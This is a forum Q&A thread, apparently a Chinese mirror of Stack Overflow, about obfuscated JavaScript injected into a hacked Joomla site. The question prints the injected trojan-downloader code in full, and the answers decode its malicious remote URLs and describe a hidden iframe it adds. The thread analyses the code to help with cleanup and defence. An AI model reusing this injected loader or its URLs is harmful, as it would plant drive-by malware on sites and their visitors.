代码之家  ›  专栏  ›  技术社区  ›  Peter Perháč

这种混乱是如何运作的?

  •  94
  • Peter Perháč  · 技术社区  · 16 年前

    我的乔姆拉!该网站已被多次黑客入侵。不知何故,有人设法将以下垃圾注入到关键的php脚本中,但我的意思是不要谈论配置Joomla。该网站的访问量不多(有时我担心我可能是该网站的唯一访问者…),我不太关心该网站的备份和运行。我最终会处理的。

    <script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
    <!--6f471c20c9b96fed179c85ffdd3365cf-->
    

    ESET 已检测到此代码为 JS/TrojanDownloader.Agent.NRO特洛伊木马程序

    8 回复  |  直到 6 年前
        1
  •  182
  •   SLaks    16 年前

    注意 replace 在巨大凌乱的字符串后面呼叫: .replace(/#|\$|@|\^|&|\(|\)|\!/ig, '') .

    它会删除大部分特殊字符,将其转换为普通URL:

    evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/
    

    http: evil: )

    注意,正则表达式可以简化为 .replace(/[#$@^&()!]/ig, '')

    如果您查看该脚本,您将看到它是一个非常简单的脚本,它注入了一个包含路径的隐藏IFRAME /index.php?ys 来自同一个域。

    我用Fiddler要求那一页,但它没有内容。

        2
  •  34
  •   DoctorLouie    16 年前

    这些答案可能会帮助您理解恶意JavaScript代码的本质,但您应该寻找一种方法来填补Joomla引擎中inherant的漏洞。预先打包的框架很容易出现漏洞,无论是有意还是无意,特别是当您考虑到它们被设计用于unix、mac和windows环境时。

    我的工作要求我在多种类型的服务器和系统上为客户机和我自己运行许多域、应用程序和框架。随着时间的推移,我看到越来越多的机器人在这些系统中爬行,通过这些框架创建的后门入口寻找已知的漏洞/入口。当我使用任何类型的框架(我很少这样做)时,我会确保重命名大部分(如果不是整个文件结构的话)以消除那些讨厌的漏洞/后门。至少您可以重命名目录,这将使大多数机器人程序无法使用,但我的方法是完全消除提供框架性质线索的引用,这包括重命名整个文件结构,而不仅仅是重命名目录。始终保持新命名约定相对于旧命名约定的映射,以便使向基础框架添加插件成为一个简单的过程。一旦掌握了诀窍,就可以通过编程方式重命名整个框架文件结构以获得更快的结果,这在处理需要使用插件等更新其框架的客户端时尤其有用。

        3
  •  20
  •   Russ Cam    16 年前

    它只是在脚本url上做一个正则表达式替换,为您提供

    注意:不要跟随下面的链接(插入 ** 阻止复制粘贴程序)

    http**://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/
    

    作为 src

        4
  •  8
  •   Sarfraz    16 年前

    它使用replace函数替换使用regex的垃圾字符,代码没有问题:

     ........replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')
    
        5
  •  7
  •   YOU    16 年前

    它的加载脚本来自

    h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/
    

    还有脚本加载 iframe 有能见度的 hidden

    h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/index.php?ys
    
        6
  •  2
  •   Raj More    16 年前

    当您阅读整个内容时,您会发现它是一个字符串,后跟一个replace命令。

        7
  •  2
  •   greenkoi    16 年前

    我的两分钱。您是否安装了Joomla备份工具(如Joomlapack)?

    我已经将其设置为通过计时脚本运行,以便在抢劫者行凶时将货物放在手边。

    你在运行什么版本的Joomla?